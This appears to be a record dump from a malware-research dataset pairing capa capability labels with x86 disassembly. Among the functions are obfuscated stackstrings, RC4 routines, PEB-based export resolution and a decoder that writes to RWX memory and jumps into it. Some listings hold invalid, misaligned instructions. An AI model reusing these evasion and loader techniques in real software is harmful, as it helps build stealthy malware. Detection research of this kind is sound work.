joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41ead0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x457352
mov eax, dword fs:[0]
push eax
sub esp, 0x11c
mov eax, dword [0x47106c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x11c], esi
mov edi, dword [ebp + 8]
mov dword [ebp - 4], 0
mov dword [ebp - 0x128], esi
mov dword [ebp - 0x120], 0
call fcn.00402120
mov ecx, eax
test ecx, ecx
je 0x41ec52
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [esi], eax
push 0x101
lea eax, [ebp - 0x114]
mov dword [ebp - 4], 0
push 0
push eax
mov dword [ebp - 0x120], 1
call fcn.004381c0
add esp, 0xc
mov dword [ebp - 0x11c], 1
lea eax, [ebp - 0x118]
mov dword [ebp - 0x124], 0x100
push eax
push 0x20019
push 0
push edi
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x41ec35
lea eax, [ebp - 0x124]
push eax
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x11c]
push eax
push 0
push str.SerialNumber
push dword [ebp - 0x118]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x41ec29
push eax
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x114]
push eax
push 0
push 3
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea edi, [eax - 1]
test edi, edi
jle 0x41ec22
mov ecx, dword [esi]
mov edx, 1
sub edx, dword [ecx - 4]
mov ecx, dword [ecx - 8]
sub ecx, edi
or edx, ecx
jge 0x41ebf8
push edi
mov ecx, esi
call fcn.004027e0
push edi
push dword [esi]
lea eax, [ebp - 0x114]
push 0xffffffffffffffff
push eax
push 0
push 3
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [esi]
cmp edi, dword [eax - 8]
jg 0x41ec5c
mov dword [eax - 0xc], edi
xor ecx, ecx
mov eax, dword [esi]
mov word [eax + edi*2], cx
jmp 0x41ec29
mov ecx, esi
call fcn.00402860
push dword [ebp - 0x118]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004360ea
mov esp, ebp
pop ebp
ret
push 0x80004005
call fcn.004028d0
push 0x80070057
call fcn.004028d0
int3

Function at 0x44e895
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0044e555

Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53
Function at 0x1002c9bd
Capabilities:
Contain obfuscated stackstrings

Disassembly:
dec dword [edi]
scasd eax, dword es:[edi]
lea esi, [edi + edi*8 - 1]
dec dword [ecx + 0x5d880c4d]
ror byte [eax + 0x45c6c15d], 0xc2
in al, dx
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], 0xec
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
jl 0x1002c985
inc ebp
iretd
jo 0x1002c989
inc ebp
rcl byte [ebx]
call fcn.1002c68d
pop ds
add byte [ebp - 0x26], ch
lea eax, [ebp - 0x40]
push eax
call fcn.1002c69d
push eax
push esi
push dword [ebp + 8]
call fcn.1002c652
add esp, 0x10
mov dword [ebp - 0x88], eax
call fcn.1002c68d
je 0x1002ca37
jl 0x1002c985
inc ebp
iretd
jge 0x1002c97a
lea eax, [ebp - 0x18]
mov byte [ebp - 0x18], bl
push eax
mov byte [ebp - 0x17], bl
mov byte [ebp - 0x16], 0x40
mov byte [ebp - 0x15], bl
mov byte [ebp - 0x14], 0xe9
mov byte [ebp - 0x13], 0xd6
mov byte [ebp - 0x12], 0xcd
mov byte [ebp - 0x11], 0xcb
mov byte [ebp - 0x10], 0xca
mov byte [ebp - 0xf], 0xde
mov byte [ebp - 0xe], 0xd3
mov byte [ebp - 0xd], 0xf9
mov byte [ebp - 0xc], 0xcd
mov byte [ebp - 0xb], 0xda
mov byte [ebp - 0xa], 0xda
mov byte [ebp - 9], 0xbf
call fcn.1002c69d
push eax
push esi
push dword [ebp + 8]
call fcn.1002c652
mov dword [ebp - 8], eax
lea eax, [ebp - 0x6c]
push eax
mov byte [ebp - 0x6c], bl
mov byte [ebp - 0x6b], bl
mov byte [ebp - 0x6a], 0xbe
mov byte [ebp - 0x69], bl
mov byte [ebp - 0x68], 0x17
mov byte [ebp - 0x67], 0x28
mov byte [ebp - 0x66], 0x33
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.1002c69d
push eax
push esi
push dword [ebp + 8]
call fcn.1002c652
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.1002c69d
push eax
push esi
push dword [ebp + 8]
call fcn.1002c652
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.1002c68d
adc dl, byte [eax - 0x62775bde]
jl 0x1002cb12
cld
invalid
invalid
invalid
Function at 0x1002cf25
Capabilities:
Contain obfuscated stackstrings

Disassembly:
lea eax, [ebp - 0x354]
push eax
call fcn.1002c69d
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.1002c652
adc al, 0xf7
invalid
inc dword [ebx - 0x7a76f33c]
je 0x1002cf3e
invalid
invalid
call dword [ebp - 0x68c]
mov dword [ebp - 0x674], eax
mov dword [ebp - 0x384], 4
and byte [ebp - 0x334], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x333]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x670], 4
and byte [ebp - 0x3c4], 0
and byte [ebp - 0x3c3], 0
mov byte [ebp - 0x3c2], 0x99
and byte [ebp - 0x3c1], 0
mov byte [ebp - 0x3c0], 0x21
mov byte [ebp - 0x3bf], 3
mov byte [ebp - 0x3be], 0x12
mov byte [ebp - 0x3bd], 0x2b
mov byte [ebp - 0x3bc], 9
mov byte [ebp - 0x3bb], 2
mov byte [ebp - 0x3ba], 0x13
mov byte [ebp - 0x3b9], 0xa
mov byte [ebp - 0x3b8], 3
mov byte [ebp - 0x3b7], 0x20
mov byte [ebp - 0x3b6], 0xf
mov byte [ebp - 0x3b5], 0xa
mov byte [ebp - 0x3b4], 3
mov byte [ebp - 0x3b3], 0x28
mov byte [ebp - 0x3b2], 7
mov byte [ebp - 0x3b1], 0xb
mov byte [ebp - 0x3b0], 3
mov byte [ebp - 0x3af], 0x27
mov byte [ebp - 0x3ae], 0x66
lea eax, [ebp - 0x3c4]
push eax
call fcn.1002c69d
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.1002c652
add esp, 0xc
mov dword [ebp - 0x538], eax
and byte [ebp - 0x3ec], 0
and byte [ebp - 0x3eb], 0
mov byte [ebp - 0x3ea], 0x11
and byte [ebp - 0x3e9], 0
mov byte [ebp - 0x3e8], 0xa9
mov byte [ebp - 0x3e7], 0x8b
mov byte [ebp - 0x3e6], 0x9a
mov byte [ebp - 0x3e5], 0xa3
mov byte [ebp - 0x3e4], 0x81
mov byte [ebp - 0x3e3], 0x8a
mov byte [ebp - 0x3e2], 0x9b
mov byte [ebp - 0x3e1], 0x82
mov byte [ebp - 0x3e0], 0x8b
mov byte [ebp - 0x3df], 0xa6
mov byte [ebp - 0x3de], 0x8f
mov byte [ebp - 0x3dd], 0x80
mov byte [ebp - 0x3dc], 0x8a
mov byte [ebp - 0x3db], 0x82
mov byte [ebp - 0x3da], 0x8b
mov byte [ebp - 0x3d9], 0xaf
mov byte [ebp - 0x3d8], 0xee
lea eax, [ebp - 0x3ec]
push eax
call fcn.1002c69d
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.1002c652
add esp, 0xc
mov dword [ebp - 0x340], eax
call fcn.1002c68d
scasb al, byte es:[edi]
stc
inc ebx
push 0xfacca580
invalid
Function at 0x1002e835
Capabilities:
Resolve function by parsing pe exports

Disassembly:
invalid
invalid
fdivp st(7)
call [ebp + 4]
jp 0x1002e81e
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x1c]
lodsd eax, dword [esi]
cmp byte [eax + 0x1c], 0x18
je 0x1002e851
xchg esi, eax
lodsd eax, dword [esi]
mov eax, dword [eax + 8]
push eax
call fcn.1002c68d
out 0x9b, al
or al, 0xd4
mov edi, eax
mov eax, dword [edi + 0x3c]
mov edx, dword [edi + eax + 0x78]
add edx, edi
mov ecx, dword [edx + 0x18]
mov ebx, dword [edx + 0x20]
add ebx, edi
call fcn.1002c68d
jo 0x1002e842
clc
dec ecx
mov esi, dword [ebx + ecx*4]
add esi, edi
mov eax, 0x50746547
cmp dword [esi], eax
jne 0x1002e87a
mov eax, 0x41636f72
cmp dword [esi + 4], eax
jne 0x1002e87a
call fcn.1002c68d
int 0xab
inc edx
loope 0x1002e828
pop edx
and al, 3
fbld tbyte [esi - 0x75]
or al, 0x4b
mov ebx, dword [edx + 0x1c]
add ebx, edi
mov eax, dword [ebx + ecx*4]
add eax, edi
push eax
call fcn.1002c68d
mov bh, 0x43
mov eax, 0x875ff8a
push dword [ebp + 4]
push dword [ebp]
call fcn.1002ce8d
mov edi, edi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10020950
mov eax, dword fs:[0]
push eax
push esi
mov eax, dword [0x10062338]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ecx, dword [ecx]
test ecx, ecx
je 0x1002e902
mov eax, dword [ecx]
push ecx
mov esi, dword [eax + 8]
mov ecx, esi
call dword [0x10064524]
call esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
leave
ret
Function at 0x102ae160
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x28
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x102c8370], 0
mov byte [0x102c8374], 0
mov edi, dword [0x102c8368]
add edi, 0xffffe149
mov dword [0x102c8364], edi
mov dword [0x102c836c], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x102c8368]
mov esi, eax
add esi, 0xffffe149
mov dword [0x102c8364], esi
mov esi, dword [0x102c836c]
add esi, 1
mov dword [0x102c836c], esi
cmp esi, 0x100
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x20], eax
jl 0x102ae1ad
mov eax, dword [ebp - 0x20]
xor ecx, ecx
add eax, 0xffffd525
mov dword [0x102c8368], eax
mov dword [0x102c836c], 0
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov edx, 0x100
mov dword [0x102c8378], 0
mov dword [0x102c8364], 0x2253
mov esi, dword [0x102c8370]
mov edi, dword [ebp - 0x18]
movzx ebx, byte [edi + eax]
add ebx, esi
mov dword [ebp - 0x2c], eax
xor esi, esi
mov dword [ebp - 0x30], edx
mov edx, esi
mov esi, dword [ebp - 0x10]
div esi
mov esi, dword [ebp - 0x14]
movzx edx, byte [esi + edx]
add ebx, edx
mov dword [0x102c8378], ebx
mov eax, ebx
cdq
mov ebx, dword [ebp - 0x30]
idiv ebx
mov dword [0x102c8370], edx
mov dword [0x102c8364], 0x1af3
mov esi, dword [ebp - 0x2c]
mov bl, byte [edi + esi]
mov byte [0x102c8374], bl
add ecx, 0xffffe224
mov dword [0x102c8368], ecx
mov bl, byte [edi + edx]
mov byte [edi + esi], bl
mov bl, byte [0x102c8374]
mov ecx, dword [0x102c8370]
mov byte [edi + ecx], bl
mov ecx, dword [0x102c8368]
mov edx, ecx
add edx, 0xffffe149
mov dword [0x102c8364], edx
mov esi, dword [0x102c836c]
add esi, 1
mov dword [0x102c836c], esi
cmp esi, 0x100
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x34], edx
jl 0x102ae20c
mov eax, dword [ebp - 0x34]
mov dword [0x102c8364], eax
add esp, 0x28
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x102aec40
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x28
mov dword [ebp - 8], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 8], eax
xor ecx, ecx
mov edx, dword [ebp - 8]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x10]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
jne 0x102aecf1
mov eax, dword [ebp - 0x1c]
mov ecx, 0x106d
xor edx, edx
mov esi, dword [ebp - 0x10]
cmp word [esi + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
je 0x102aecc6
jmp 0x102aedba
mov eax, 0x106d
xor ecx, ecx
mov edx, dword [ebp - 0x10]
mov esi, dword [ebp - 0x20]
cmp word [edx + esi*2 - 0x14], 0x64
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
je 0x102aed36
jmp 0x102aedba
mov eax, 0x106d
xor ecx, ecx
mov dword [0x102c8364], 0x11f2
mov edx, dword [ebp - 0x10]
mov esi, dword [ebp - 0x20]
cmp word [edx + esi*2 - 0x18], 0x6f
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
je 0x102aed11
jmp 0x102aedba
mov eax, dword [ebp - 0x18]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x1c], eax
jl 0x102aec6b
jmp 0x102aec81
mov eax, 0x106d
xor ecx, ecx
mov edx, dword [ebp - 0x10]
mov esi, dword [ebp - 0x20]
cmp word [edx + esi*2 - 0x16], 0x61
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
je 0x102aeca5
jmp 0x102aedba
mov eax, 0x106d
xor ecx, ecx
mov edx, dword [ebp - 0x10]
mov esi, dword [ebp - 0x20]
cmp word [edx + esi*2 - 0x12], 0x64
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
jne 0x102aedba
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x10], 0x6c
sete dl
mov byte [ebp - 0x29], dl
mov eax, 0x106d
xor ecx, ecx
mov dl, byte [ebp - 0x29]
test dl, 1
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
jne 0x102aed7c
jmp 0x102aedba
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x20]
mov dx, word [eax + ecx*2 - 0xe]
mov word [ebp - 0x2c], dx
mov eax, 0x106d
xor ecx, ecx
mov dx, word [ebp - 0x2c]
cmp dx, 0x6c
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
jne 0x102aedba
mov eax, 1
mov ecx, dword [0x102c8368]
add ecx, 0xef6
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [0x102c8368], ecx
add esp, 0x28
pop esi
pop ebp
ret
Function at 0x102af2f0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x2c
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [0x102c836c], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
mov dword [0x102c8370], 0
mov dword [0x102c837c], 0
mov eax, dword [0x102c8368]
mov ecx, eax
add ecx, 0xffffe149
mov dword [0x102c8364], ecx
add eax, 0xffffd49d
mov dword [0x102c8368], eax
mov eax, dword [ebp - 0x10]
cmp eax, 0
je 0x102af4a6
jmp 0x102af474
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x28]
mov esi, 0x100
add ecx, 1
mov dword [ebp - 0x2c], eax
mov eax, ecx
mov dword [ebp - 0x30], edx
cdq
idiv esi
mov dword [0x102c836c], edx
mov dword [0x102c8364], 0x13cb
mov ecx, dword [ebp - 0x1c]
movzx edi, byte [ecx + edx]
mov ebx, dword [ebp - 0x30]
add edi, ebx
mov eax, edi
mov dword [ebp - 0x34], edx
cdq
idiv esi
mov dword [0x102c8370], edx
mov dword [0x102c8368], 0x7fe
mov esi, dword [ebp - 0x34]
mov cl, byte [ecx + esi]
mov byte [0x102c8374], cl
mov dword [0x102c8364], 0xfae
mov edi, dword [ebp - 0x1c]
mov cl, byte [edi + edx]
mov byte [edi + esi], cl
mov edx, dword [0x102c8368]
add edx, 0xffffe149
mov dword [0x102c8364], edx
mov cl, byte [0x102c8374]
mov edx, dword [0x102c8370]
mov byte [edi + edx], cl
mov edx, dword [0x102c8364]
add edx, 0xffffddc4
mov dword [0x102c8364], edx
mov edx, dword [0x102c836c]
movzx edx, byte [edi + edx]
mov ebx, dword [0x102c8370]
movzx ebx, byte [edi + ebx]
add ebx, edx
mov edx, dword [0x102c8368]
mov ecx, edx
add ecx, 0xffffe149
and ebx, 0xff
mov dword [0x102c837c], ebx
mov dword [0x102c8364], ecx
mov cl, byte [edi + ebx]
mov ebx, dword [ebp - 0x14]
mov esi, dword [ebp - 0x2c]
xor cl, byte [ebx + esi]
add edx, 0xffffa56d
mov dword [0x102c8364], edx
mov edx, dword [ebp - 0x18]
mov byte [edx + esi], cl
mov dword [0x102c8368], 0x87a
add esi, 1
mov ecx, dword [ebp - 0x10]
cmp esi, ecx
mov dword [ebp - 0x38], esi
je 0x102af4a4
jmp 0x102af488
xor eax, eax
mov ecx, eax
mov edx, eax
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x20], eax
jmp 0x102af35f
mov eax, dword [0x102c836c]
mov ecx, dword [0x102c8370]
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], edx
jmp 0x102af35f
jmp 0x102af4a6
mov dword [0x102c8364], 0x584
add esp, 0x2c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x102af620
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff8
sub esp, 0xa8
lea eax, [esp + 0x38]
lea ecx, [esp + 0x48]
mov edx, dword [0x102c8364]
mov esi, edx
add esi, 0xffffff71
mov dword [0x102c8364], esi
add edx, 0xfffff428
mov dword [0x102c8368], edx
mov dword [esp], eax
mov dword [esp + 0x34], ecx
call fcn.102ae300
mov ecx, dword [esp + 0x38]
mov dword [esp + 0x58], ecx
mov dword [0x102c8368], 0x12c8
mov dword [esp + 0x94], 0x136400
mov ecx, dword [0x102c8350]
mov dword [esp + 0x8c], ecx
mov ecx, dword [0x102c8354]
mov dword [esp + 0x68], ecx
mov ecx, dword [0x102c8358]
mov dword [esp + 0x30], eax
mov dword [esp + 0x2c], ecx
mov eax, 0xa69
lea ecx, [0x102aebc0]
mov edx, dword [esp + 0x2c]
mov dword [esp + 0x74], edx
mov esi, dword [0x102c835c]
mov dword [esp + 0x84], esi
mov dword [0x102c8364], 0x1bd1
mov esi, dword [0x102c8360]
mov dword [esp + 0x7c], esi
mov dword [esp + 0x28], eax
mov dword [esp + 0x24], ecx
jmp 0x102af70d
mov eax, dword [esp + 0x20]
lea esp, [ebp - 4]
pop esi
pop ebp
ret
mov eax, dword [esp + 0x1c]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov edx, dword [esp + 0x18]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], edx
je 0x102af743
jmp 0x102af724
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x28]
cmp word [eax], 0x5a4d
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], ecx
je 0x102af6eb
mov eax, 0x890
mov ecx, dword [esp + 0x1c]
add ecx, 0xfffff000
and ecx, 0xfffff000
mov dword [esp + 0x28], eax
mov dword [esp + 0x24], ecx
jmp 0x102af70d
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
mov dword [0x102c8368], eax
mov dword [esp + 0x60], ecx
mov dword [0x102c8364], 0x39d
mov eax, dword [ecx + edx + 0x50]
mov dword [esp + 0x80], eax
call fcn.102aec40
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x20], ecx
jne 0x102af6e1
lea eax, [esp + 0x48]
mov ecx, dword [esp + 0x40]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.102aedd0
mov ecx, esp
lea edx, [esp + 0x48]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 1
mov ecx, dword [0x102c8368]
add ecx, 0xffffd92f
mov dword [0x102c8364], ecx
mov dword [esp + 0x20], eax
jmp 0x102af6e1
Function at 0x441cdd
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x45d320]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004332f2
and dword [ebp - 0x14], 0
cmp dword [0x460a60], 0
mov dword [ebp - 0x18], eax
jne 0x441d90
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x441e38
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x452b7c
push ebx
call edi
test eax, eax
je 0x441e38
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x460a60], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x460a64], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x460a68], eax
call edi
push eax
call esi
mov dword [0x460a70], eax
test eax, eax
je 0x441d90
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x460a6c], eax
mov eax, dword [0x460a6c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x441de9
cmp dword [0x460a70], ecx
je 0x441de9
push eax
call esi
push dword [0x460a70]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x441de9
test ebx, ebx
je 0x441de9
call edi
test eax, eax
je 0x441de0
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x441de0
test byte [ebp - 8], 1
jne 0x441de9
or dword [ebp + 0x10], 0x200000
jmp 0x441e1c
mov eax, dword [0x460a64]
cmp eax, dword [ebp - 0x18]
je 0x441e1c
push eax
call esi
test eax, eax
je 0x441e1c
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x441e1c
mov eax, dword [0x460a68]
cmp eax, dword [ebp - 0x18]
je 0x441e1c
push eax
call esi
test eax, eax
je 0x441e1c
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x460a60]
call esi
test eax, eax
je 0x441e38
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x441e3a
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0042bd88
leave
ret
Function at 0x100023dc
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x100023eb
pop dword [ebp - 0x20]
mov eax, 0x5022513c
add eax, 0xbfddd2af
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0xc1c72b98
add dword [ebp - 0x30], 0x8c8b19b3
mov dword [ebp - 0x2c], 0x5aaf2622
add dword [ebp - 0x2c], 0xd7842623
mov dword [ebp - 0x28], 0xc48ad393
add dword [ebp - 0x28], 0x87c1709b
mov dword [ebp - 0x24], 0xb627fdb0
add dword [ebp - 0x24], 0x49d80250
lea eax, [ebp - 0x30]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0xb988f8f5
sub dword [ebp - 0x30], 0x45168f9f
mov dword [ebp - 0x2c], 0xec5bad7
sub dword [ebp - 0x2c], 0xcd595962
mov dword [ebp - 0x28], 0xb2486278
sub dword [ebp - 0x28], 0x4ed8f60c
mov dword [ebp - 0x24], 0x6a93cc3b
add dword [ebp - 0x24], 0x956c33c5
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, 0xb36c36d0
sub eax, 0xa36b96c8
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x398c3
push 0
call eax
mov ecx, 0xe7367e4a
sub ecx, 0xe7362a83
mov edi, eax
mov ebx, 0x1000f800
add ebx, dword [ebp - 0x20]
mov edx, 0x1f015e59
sub edx, 0xba376d48
xor dword [ebp - 0x1c], eax
mov esi, dword [ebx]
sub dword [ebp - 8], 0x56a99341
add esi, edx
sub dword [ebp - 0x10], eax
mov dword [edi], esi
xor dword [ebp - 0x14], 0xb7474ae5
add edi, 0xd7bd16d7
sub edi, 0xd7bd16d3
add ebx, 0xe2564ea2
add ebx, 0x1da9b162
loop 0x10002502
add eax, 0x20213155
sub eax, 0x201fef66
xor ebx, ebx
add ebx, eax
add eax, 0x3f348ef2
sub eax, 0x3f348eed
mov ecx, 0xc45ca60b
sub ecx, 0xb45ca60b
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x403760
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
mov dword [esp + 0x10], eax
lea eax, [ebp - 8]
mov dword [esp + 8], eax
lea eax, [ebp - 0xc]
mov dword [esp + 4], eax
lea eax, [ebp - 0x10]
mov dword [esp], eax
mov dword [esp + 0xc], 0
call sub.msvcrt.dll___getmainargs
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 8]
mov edx, dword [eax + 0x3c]
cmp word [eax + edx + 0x5c], 2
sete al
movzx eax, al
add eax, 1
mov dword [esp], eax
call sub.msvcrt.dll___set_app_type
mov eax, dword [ebp - 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call fcn.00403820
mov dword [esp], eax
call sub.msvcrt.dll_exit
nop
nop
nop
nop
push ebp
mov ebp, esp
call sub.msvcrt.dll___iob_func
mov edx, dword [ebp + 8]
pop ebp
shl edx, 5
add eax, edx
ret